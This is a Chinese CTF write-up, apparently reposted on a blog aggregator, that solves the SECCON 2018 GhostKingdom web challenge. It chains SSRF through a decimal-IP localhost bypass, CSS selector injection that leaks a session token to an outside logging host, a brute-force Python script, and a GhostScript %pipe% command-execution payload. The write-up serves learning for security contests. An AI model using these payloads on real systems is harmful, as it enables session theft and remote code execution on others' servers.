2018 SECCON CTF—GhostKingdom Writeup

栏目: CSS · 发布时间: 7年前

内容简介:SECCON CTF的这WEB题比较有趣,结合了CSS注入和GhostScript的RCE,都是比较新的东西,现将过程整理和记录作为分享和总结:登录的用户提供了两个功能,分别是给管理员留言,以及远程访问一个URL并将访问页面截图返回

2018 SECCON CTF—GhostKingdom Writeup

SECCON CTF的这WEB题比较有趣,结合了CSS注入和GhostScript的RCE,都是比较新的东西,现将过程整理和记录作为分享和总结:

0x01 探索功能与初步思路

访问题目,首先是提示了FLAG所在路径就是./FLAG/

2018 SECCON CTF—GhostKingdom Writeup

点击进入TOP后,进入到一个登录页面,具有基础的登录和注册功能

2018 SECCON CTF—GhostKingdom Writeup

经过测试,登录和注册功能不存在 SQL 注入,于是尝试注册账号并且登录,登录后页面内容如下:

2018 SECCON CTF—GhostKingdom Writeup

登录的用户提供了两个功能,分别是给管理员留言,以及远程访问一个URL并将访问页面截图返回

上传图片功能被限制,提示是:

Only for users logged in from the local network

1 留言功能页面(自定义CSS)

2018 SECCON CTF—GhostKingdom Writeup

留言选择 Emergency 时,进入预览页面后如下所示,其中有个 css 参数是base64编码过的,比较引人注意:

2018 SECCON CTF—GhostKingdom Writeup

将base64解码后可以看到,是一段CSS代码,并且内容出现在HTML页面中,这是一个重要的点!意味着可能存在XSS

&css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9
解码后:span{background-color:red;color:yellow}

2018 SECCON CTF—GhostKingdom Writeup

尝试插入其他内容打XSS,如JS标签,但是输出点对内容进行了实体化编码,无法绕过

应该是只能通过CSS做些事情了!

2018 SECCON CTF—GhostKingdom Writeup

2 访问提交的URL并反馈截图的页面(SSRF)

2018 SECCON CTF—GhostKingdom Writeup

以www.baidu.com为例,测试返回结果,返回了访问百度页面的截图

2018 SECCON CTF—GhostKingdom Writeup

测试访问CEYE,查看访问记录

2018 SECCON CTF—GhostKingdom Writeup

3 上传图片功能被限制

这里存在的上传图片功能是未开启的,提示需要从本地网络登录的用户才能使用,首先尝试了使用XXF(X-Forwarded-For)等伪造头进行绕过,但是不能成功

自然地,想到了上面第2点提到的存在SSRF,是否能够通过第2点的功能来从本地登录呢?查看用户登录页面的请求,果然是GET形式的,这样就方便通过第2点功能来SSRF从本地登录用户了

2018 SECCON CTF—GhostKingdom Writeup

不过,如果在URL中存在如 127、local 等会被拦截

2018 SECCON CTF—GhostKingdom Writeup

这里可以使用数字IP地址进行绕过

http://2130706433/?user=yunsle&pass=123456&action=login&action=sshot2

2018 SECCON CTF—GhostKingdom Writeup

返回的截图中,可以看到成功了,图片上传的功能是正常开启的,但是通过截图是看不到图片上传的URL的,接下来怎么样才能获取到图片上传功能的URL成为了关键点

2018 SECCON CTF—GhostKingdom Writeup

0x02 CSS注入-爆破CSRF Token

到这里陷入了僵局,似乎SSRF已经不能做到更多了,但是却指引了思路

从功能来看,现在只有之前挖掘的CSS任意注入还没有发挥作用。如果能够在刚刚的页面上,配合SSRF和XSS,能够轻松获得服务器端以本地身份登录的用户的COOKIE,这样可能可以直接伪造凭证登录,看到上传图片的功能。

但是这里似乎XSS行不通,怎么样才能利用上呢?

尝试了在CSS中执行javascript,如

background: url(javascript:alert(1))

但是并不能执行js代码(存在疑惑),到这里,只能完全放弃使用js的想法,开始寻找用CSS来打COOKIE的可能。。。

这时,有个细节引起了注意,在CSS样式存在问题的页面,用于防范CSRF的input标签的value值,和SESSION的COOKIE值是一样的

2018 SECCON CTF—GhostKingdom Writeup

那么,如果获取到这个input标签的value值,就能拿到COOKIE了!

如何能够通过CSS样式,来获取这个input标签的value值呢?

这里可以参考: https://www.freebuf.com/articles/web/162445.html

主要思路是利用CSS选择器匹配,来发起请求:

input[value^="6703"] {background-image:url("http://mhv3ii.ceye.io/6703");}

我的简陋逐位爆破脚本,配合CEYE一起看(耗时比较久!):

import base64
import requests
import time

url = "http://ghostkingdom.pwn.seccon.jp/?url="

cookie = {
    "CGISESSID":"db579456a3a04ae86d19aa"
}

for c in range(48,59):
    print(chr(c))
    css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}"
    css_b64 = base64.b64encode(css)
    r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2"
    res = requests.get(url=url+r_url, cookies=cookie)
    print(css_b64)
    print(res.content)
    time.sleep(30)

for c in range(97,127):
    print(chr(c))
    css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}"
    css_b64 = base64.b64encode(css)
    r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2"
    res = requests.get(url=url+r_url, cookies=cookie)
    print(css_b64)
    print(res.content)
    time.sleep(30)

2018 SECCON CTF—GhostKingdom Writeup

最终拿到了COOKIE,并且伪造该COOKIE成功登陆:

2018 SECCON CTF—GhostKingdom Writeup

0x03 GhostScript的RCE漏洞

图片上传功能提示上传Jpeg图片文件

2018 SECCON CTF—GhostKingdom Writeup

上传后存在一个将该Jpeg文件转为Gif文件的功能,查看转换的URL:

http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert

其中 ghostMagick.cgi 引起了注意,正好查看最近的GhostScript存在一个RCE漏洞

可以参考: https://www.anquanke.com/post/id/157380

构造利用的Jpeg文件,通过 ls ./FLAG 查看FLAG目录:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls FLAG) currentdevice putdeviceprops

2018 SECCON CTF—GhostKingdom Writeup

RCE成功返回执行结果,访问FLAG路径下的FLAGflagF1A8.txt即可拿到flag

2018 SECCON CTF—GhostKingdom Writeup

0x04 Reference


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Implementing Responsive Design

Implementing Responsive Design

Tim Kadlec / New Riders / 2012-7-31 / GBP 27.99

New devices and platforms emerge daily. Browsers iterate at a remarkable pace. Faced with this volatile landscape we can either struggle for control or we can embrace the inherent flexibility of the w......一起来看看 《Implementing Responsive Design》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具